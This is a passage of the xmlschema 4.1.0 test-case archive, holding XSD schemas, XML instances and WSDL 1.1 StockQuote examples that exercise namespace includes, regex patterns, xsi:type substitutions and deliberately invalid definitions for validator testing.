�����������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/include-case2.xsd������������������������������0000664�0000000�0000000�00000001116�15020401055�0026056�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- A valid include of a chameleon schema using an explicit declaration of the default namespace. In this case the chameleon schema uses another prefix for the same target namespace. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/xmlschema/namespaces" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:include schemaLocation="chameleon2.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/include-case2bis.xsd���������������������������0000664�0000000�0000000�00000001035�15020401055�0026554�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- A valid include of a chameleon schema using an implicit declaration of the default namespace. In this case the chameleon schema uses another prefix for the same target namespace. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:include schemaLocation="chameleon2.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/include-case3.xsd������������������������������0000664�0000000�0000000�00000001004�15020401055�0026053�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- An valid include from a schema with a targetNamespace, with the default namespace explicitly mapped. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/xmlschema/namespaces" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:include schemaLocation="included3-valid.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/include-case4.xsd������������������������������0000664�0000000�0000000�00000000752�15020401055�0026065�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- An invalid include: including a schema with a different targetNamespace. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/xmlschema/namespaces" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:include schemaLocation="included4-invalid.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ����������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/include-case5.xsd������������������������������0000664�0000000�0000000�00000001010�15020401055�0026052�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- An valid include from a schema with a targetNamespace, with the default namespace explicitly mapped. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:nsx="http://example.com/xmlschema/namespaces" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:include schemaLocation="included5-valid.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/include-case6.xsd������������������������������0000664�0000000�0000000�00000000763�15020401055�0026071�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- An invalid include from a schema with a targetNamespace not mapped to any prefix. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/xmlschema/namespaces" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:include schemaLocation="included6-invalid.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> �������������xmlschema-4.1.0/tests/test_cases/features/namespaces/include-case7.xsd������������������������������0000664�0000000�0000000�00000000462�15020401055�0026066�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- An invalid include from a schema that declares the same elements. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:include schemaLocation="included7-overlap.xsd"/> <xs:element name="elem1" /> <xs:element name="elem2" /> </xs:schema> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/include-case8.xsd������������������������������0000664�0000000�0000000�00000000722�15020401055�0026066�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- An include from a schema that redefines the same initial schema. Consider this schema composition valid, mainly because loading from the included schema that redefine this is certainly valid. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:include schemaLocation="included8-redefine.xsd"/> <xs:simpleType name="aType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ����������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/included3-valid.xsd����������������������������0000664�0000000�0000000�00000000405�15020401055�0026407�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/xmlschema/namespaces" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:element name="root" type="rootType"/> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/included4-invalid.xsd��������������������������0000664�0000000�0000000�00000000401�15020401055�0026733�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/xmlschema/elements" targetNamespace="http://example.com/xmlschema/elements" elementFormDefault="qualified"> <xs:element name="root" type="rootType"/> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/included5-valid.xsd����������������������������0000664�0000000�0000000�00000000415�15020401055�0026412�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:nsy="http://example.com/xmlschema/namespaces" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:element name="root" type="nsy:rootType"/> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/included6-invalid.xsd��������������������������0000664�0000000�0000000�00000000323�15020401055�0026740�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:element name="root" type="rootType"/> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/included7-overlap.xsd��������������������������0000664�0000000�0000000�00000000251�15020401055�0026763�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem1" /> <xs:element name="elem3" /> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/included8-redefine.xsd�������������������������0000664�0000000�0000000�00000000543�15020401055�0027101�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- An invalid include from a schema that redefine the same initial schema. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:redefine schemaLocation="include-case8.xsd"> <xs:simpleType name="aType"> <xs:restriction base="aType"/> </xs:simpleType> </xs:redefine> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/patterns/�������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022442�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/patterns/patterns.xml�������������������������������������0000664�0000000�0000000�00000001602�15020401055�0025023�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <ns:patterns xmlns:ns="ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="ns ./patterns.xsd"> <ISBN>b0123456789012</ISBN> <ISBN>b01234567890123</ISBN> <!--Error--> <ISBN>b0123456789012</ISBN> <!--Error: duplicated key --> <ZipCode>55555</ZipCode> <ZipCode>I-55555</ZipCode> <!--Error--> <ZipCode>55555-5555</ZipCode> <BasicString>facade</BasicString> <BasicString>façade</BasicString> <!--Error--> <LatinString>façade</LatinString> <Prefix>cc</Prefix> <!--Error--> <Prefix>cc: dd:@#!%</Prefix> <!--Error--> <Timestamp>2015-12-31T13:32:26-02:00</Timestamp> <Timestamp>2015-12-31T13:32:26+02:00</Timestamp> <Digits>5067746900909</Digits> <Word>abc</Word> <NoWord>.</NoWord> <CRS></CRS> <CRS/> <CRSw>^$</CRSw> <CRSw></CRSw> </ns:patterns> ������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/patterns/patterns.xsd�������������������������������������0000664�0000000�0000000�00000007402�15020401055�0025025�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns="ns" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="ns" > <xs:element name="patterns"> <xs:complexType> <xs:sequence> <xs:element name="ISBN" type="ISBNType" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="ZipCode" type="better-us-zipcode" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="BasicString" type="basic-latin-string" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="LatinString" type="latin-1-string" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="Prefix" type="prefix-name" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="Timestamp" type="TimestampType" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="Digits" type="DigitsType" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="Word" type="Word5Type" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="NoWord" type="NotWord5Type" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="CRS" type="crsCodeType" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="CRSw" type="crsCodeTypeWrong" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> <xs:simpleType name="ISBNType"> <xs:restriction base="xs:ID"> <xs:pattern value="b\d{13}"/> </xs:restriction> </xs:simpleType> <xs:simpleType name='better-us-zipcode'> <xs:restriction base='xs:string'> <xs:pattern value='[0-9]{5}(-[0-9]{4})?'/> </xs:restriction> </xs:simpleType> <xs:simpleType name="basic-latin-string"> <xs:restriction base="xs:string"> <xs:pattern value="\p{IsBasicLatin}*"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="latin-1-string"> <xs:restriction base="xs:string"> <xs:pattern value="[\p{IsBasicLatin}\p{IsLatin-1Supplement}]*"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="prefix-name"> <xs:restriction base="xs:Name"> <xs:pattern value="[\i-[:]][\c-[:]]*: [\i-[:]][\c-[:]]+:.+" /> </xs:restriction> </xs:simpleType> <xs:simpleType name="TOKEN"> <xs:restriction base="xs:token"> <xs:pattern value="(\p{L}|\p{N}|\p{P}|\p{S})+"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="TimestampType"> <xs:restriction base="xs:string"> <xs:pattern value=".+T.+(Z|[+-].+)"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="DigitsType"> <xs:restriction base="xs:string"> <xs:pattern value="[\S' ']{1,50}"/> </xs:restriction> </xs:simpleType> <!-- Issue 079 --> <xs:simpleType name="issue079Type"> <xs:restriction base="xs:string"> <xs:pattern value="[^\n\t]+"/> </xs:restriction> </xs:simpleType> <!-- Pull Request 114 --> <xs:simpleType name="Word5Type"> <xs:restriction base="xs:string"> <xs:pattern value='[\w]{0,5}'/> </xs:restriction> </xs:simpleType> <xs:simpleType name="NotWord5Type"> <xs:restriction base="xs:string"> <xs:pattern value='[\W]{0,5}'/> </xs:restriction> </xs:simpleType> <!-- Issue 429 --> <xs:simpleType name="crsCodeType"> <xs:restriction base="xs:string"> <xs:pattern value="|.{3}"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="crsCodeTypeWrong"> <xs:restriction base="xs:string"> <xs:pattern value="^$|.{3}"/> </xs:restriction> </xs:simpleType> </xs:schema> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/substitutions/��������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0023541�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/substitutions/words.xsd�����������������������������������0000664�0000000�0000000�00000001765�15020401055�0025430�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="words"> <xs:complexType> <xs:sequence maxOccurs="unbounded"> <xs:element name="word" type="xs:string"/> </xs:sequence> </xs:complexType> <xs:key name="key"> <xs:selector xpath="./word"/> <xs:field xpath="."/> </xs:key> </xs:element> <xs:simpleType name="numbers"> <xs:restriction base="xs:string"> <xs:enumeration value="one"/> <xs:enumeration value="two"/> <xs:enumeration value="three"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="letters"> <xs:restriction base="xs:string"> <xs:enumeration value="alpha"/> <xs:enumeration value="beta"/> <xs:enumeration value="gamma"/> <xs:enumeration value="delta"/> </xs:restriction> </xs:simpleType> </xs:schema> �����������xmlschema-4.1.0/tests/test_cases/features/substitutions/words1.xml����������������������������������0000664�0000000�0000000�00000000314�15020401055�0025500�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <words xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="words.xsd"> <word>alpha</word> <word>beta</word> </words> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/substitutions/words2.xml����������������������������������0000664�0000000�0000000�00000000337�15020401055�0025506�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <words xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="words.xsd"> <word xsi:type="letters">alpha</word> <word>beta</word> </words> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/substitutions/words3.xml����������������������������������0000664�0000000�0000000�00000000335�15020401055�0025505�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <words xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="words.xsd"> <word xsi:type="letters">one</word> <word>beta</word> </words> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/substitutions/words4.xml����������������������������������0000664�0000000�0000000�00000000415�15020401055�0025505�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <words xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="words.xsd"> <word xsi:type="xs:int">1</word> <word>beta</word> </words> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/wsdl/�����������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0021553�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/wsdl/wsdl11_example3.wsdl���������������������������������0000664�0000000�0000000�00000004051�15020401055�0025357�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- Original example #3 from WSDL 1.1 definition with SOAP 1.1 bindings: href: https://www.w3.org/TR/2001/NOTE-wsdl-20010315#_soap-e This case contains a typo in <binding> definition --> <definitions name="StockQuote" targetNamespace="http://example.com/stockquote.wsdl" xmlns:tns="http://example.com/stockquote.wsdl" xmlns:xsd1="http://example.com/stockquote.xsd" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <message name="SubscribeToQuotes"> <part name="body" element="xsd1:SubscribeToQuotes"/> <part name="subscribeheader" element="xsd1:SubscriptionHeader"/> </message> <portType name="StockQuotePortType"> <operation name="SubscribeToQuotes"> <input message="tns:SubscribeToQuotes"/> </operation> </portType> <binding name="StockQuoteSoap" type="tns:StockQuotePortType"> <soap:binding style="document" transport="http://example.com/smtp"/> <operation name="SubscribeToQuotes"> <input message="tns:SubscribeToQuotes"> <!-- attribute 'message' not allowed --> <soap:body parts="body" use="literal"/> <soap:header message="tns:SubscribeToQuotes" part="subscribeheader" use="literal"/> </input> </operation> </binding> <service name="StockQuoteService"> <port name="StockQuotePort" binding="tns:StockQuoteSoap"> <soap:address location="mailto:subscribe@example.com"/> </port> </service> <types> <schema targetNamespace="http://example.com/stockquote.xsd" xmlns="http://www.w3.org/2001/XMLSchema"> <element name="SubscribeToQuotes"> <complexType> <all> <element name="tickerSymbol" type="string"/> </all> </complexType> </element> <element name="SubscriptionHeader" type="anyURI"/> </schema> </types> </definitions>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/wsdl/wsdl11_example3_no_types.wsdl������������������������0000664�0000000�0000000�00000002705�15020401055�0027303�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- Example #3 from WSDL 1.1 definition with SOAP 1.1 bindings: href: https://www.w3.org/TR/2001/NOTE-wsdl-20010315#_soap-e --> <definitions name="StockQuote" targetNamespace="http://example.com/stockquote.wsdl" xmlns:tns="http://example.com/stockquote.wsdl" xmlns:xsd1="http://example.com/stockquote.xsd" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <message name="SubscribeToQuotes"> <part name="body" element="xsd1:SubscribeToQuotes"/> <part name="subscribeheader" element="xsd1:SubscriptionHeader"/> </message> <portType name="StockQuotePortType"> <operation name="SubscribeToQuotes"> <input message="tns:SubscribeToQuotes"/> </operation> </portType> <binding name="StockQuoteSoap" type="tns:StockQuotePortType"> <soap:binding style="document" transport="http://example.com/smtp"/> <operation name="SubscribeToQuotes"> <input> <soap:body parts="body" use="literal"/> <soap:header message="tns:SubscribeToQuotes" part="subscribeheader" use="literal"/> </input> </operation> </binding> <service name="StockQuoteService"> <port name="StockQuotePort" binding="tns:StockQuoteSoap"> <soap:address location="mailto:subscribe@example.com"/> </port> </service> </definitions>�����������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/wsdl/wsdl11_example3_types.xsd����������������������������0000664�0000000�0000000�00000000570�15020401055�0026432�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <schema targetNamespace="http://example.com/stockquote.xsd" xmlns="http://www.w3.org/2001/XMLSchema"> <element name="SubscribeToQuotes"> <complexType> <all> <element name="tickerSymbol" type="string"/> </all> </complexType> </element> <element name="SubscriptionHeader" type="anyURI"/> </schema> ����������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/wsdl/wsdl11_example3_valid.wsdl���������������������������0000664�0000000�0000000�00000003642�15020401055�0026543�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- Example #3 from WSDL 1.1 definition with SOAP 1.1 bindings: href: https://www.w3.org/TR/2001/NOTE-wsdl-20010315#_soap-e --> <definitions name="StockQuote" targetNamespace="http://example.com/stockquote.wsdl" xmlns:tns="http://example.com/stockquote.wsdl" xmlns:xsd1="http://example.com/stockquote.xsd" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <message name="SubscribeToQuotes"> <part name="body" element="xsd1:SubscribeToQuotes"/> <part name="subscribeheader" element="xsd1:SubscriptionHeader"/> </message> <portType name="StockQuotePortType"> <operation name="SubscribeToQuotes"> <input message="tns:SubscribeToQuotes"/> </operation> </portType> <binding name="StockQuoteSoap" type="tns:StockQuotePortType"> <soap:binding style="document" transport="http://example.com/smtp"/> <operation name="SubscribeToQuotes"> <input> <soap:body parts="body" use="literal"/> <soap:header message="tns:SubscribeToQuotes" part="subscribeheader" use="literal"/> </input> </operation> </binding> <service name="StockQuoteService"> <port name="StockQuotePort" binding="tns:StockQuoteSoap"> <soap:address location="mailto:subscribe@example.com"/> </port> </service> <types> <schema targetNamespace="http://example.com/stockquote.xsd" xmlns="http://www.w3.org/2001/XMLSchema"> <element name="SubscribeToQuotes"> <complexType> <all> <element name="tickerSymbol" type="string"/> </all> </complexType> </element> <element name="SubscriptionHeader" type="anyURI"/> </schema> </types> </definitions>����������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/wsdl/wsdl11_example4.wsdl���������������������������������0000664�0000000�0000000�00000004124�15020401055�0025361�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- Original example #4 from WSDL 1.1 definition with SOAP 1.1 bindings: href: https://www.w3.org/TR/2001/NOTE-wsdl-20010315#_soap-e Contains a typo with an invalid character data in /binding. --> <definitions name="StockQuote" targetNamespace="http://example.com/stockquote.wsdl" xmlns:tns="http://example.com/stockquote.wsdl" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsd1="http://example.com/stockquote.xsd" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <message name="GetTradePriceInput"> <part name="tickerSymbol" element="xsd:string"/> <part name="time" element="xsd:timeInstant"/> </message> <message name="GetTradePriceOutput"> <part name="result" type="xsd:float"/> </message> <portType name="StockQuotePortType"> <operation name="GetTradePrice"> <input message="tns:GetTradePriceInput"/> <output message="tns:GetTradePriceOutput"/> </operation> </portType> <binding name="StockQuoteSoapBinding" type="tns:StockQuotePortType"> <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/> <operation name="GetTradePrice"> <soap:operation soapAction="http://example.com/GetTradePrice"/> <input> <soap:body use="encoded" namespace="http://example.com/stockquote" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </input> <output> <soap:body use="encoded" namespace="http://example.com/stockquote" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </output> </operation>> <!-- '>' is not allowed --> </binding> <service name="StockQuoteService"> <documentation>My first service</documentation> <port name="StockQuotePort" binding="tns:StockQuoteBinding"> <soap:address location="http://example.com/stockquote"/> </port> </service> </definitions>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/wsdl/wsdl11_example4_valid.wsdl���������������������������0000664�0000000�0000000�00000003652�15020401055�0026545�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- Example #4 from WSDL 1.1 definition with SOAP 1.1 bindings: href: https://www.w3.org/TR/2001/NOTE-wsdl-20010315#_soap-e --> <definitions name="StockQuote" targetNamespace="http://example.com/stockquote.wsdl" xmlns:tns="http://example.com/stockquote.wsdl" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <message name="GetTradePriceInput"> <part name="tickerSymbol" type="xsd:string"/> <part name="time" type="xsd:time"/> </message> <message name="GetTradePriceOutput"> <part name="result" type="xsd:float"/> </message> <portType name="StockQuotePortType"> <operation name="GetTradePrice"> <input message="tns:GetTradePriceInput"/> <output message="tns:GetTradePriceOutput"/> </operation> </portType> <binding name="StockQuoteBinding" type="tns:StockQuotePortType"> <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/> <operation name="GetTradePrice"> <soap:operation soapAction="http://example.com/GetTradePrice"/> <input> <soap:body use="encoded" namespace="http://example.com/stockquote" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </input> <output> <soap:body use="encoded" namespace="http://example.com/stockquote" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </output> </operation> </binding> <service name="StockQuoteService"> <documentation>My first service</documentation> <port name="StockQuotePort" binding="tns:StockQuoteBinding"> <soap:address location="http://example.com/stockquote"/> </port> </service> </definitions>��������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/wsdl/wsdl11_example5.wsdl���������������������������������0000664�0000000�0000000�00000005664�15020401055�0025374�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- Original Example from WSDL 1.1 definition with SOAP 1.1 bindings: href: https://www.w3.org/TR/2001/NOTE-wsdl-20010315#_soap-e Undeclared namespace in /types and invalid character data. --> <definitions name="StockQuote" targetNamespace="http://example.com/stockquote.wsdl" xmlns:tns="http://example.com/stockquote.wsdl" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsd1="http://example.com/stockquote/schema" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <types> <schema targetNamespace="http://example.com/stockquote/schema" xmlns="http://www.w3.org/2001/XMLSchema"> <complexType name="TimePeriod"> <all> <element name="startTime" type="xsd:time"/> <element name="endTime" type="xsd:time"/> </all> </complexType> <complexType name="ArrayOfFloat"> <complexContent> <restriction base="soapenc:Array"> <attribute ref="soapenc:arrayType" wsdl:arrayType="xsd:float[]"/> </restriction> </complexContent> </complexType> </schema> </types> <message name="GetTradePricesInput"> <part name="tickerSymbol" element="xsd:string"/> <part name="timePeriod" element="xsd1:TimePeriod"/> </message> <message 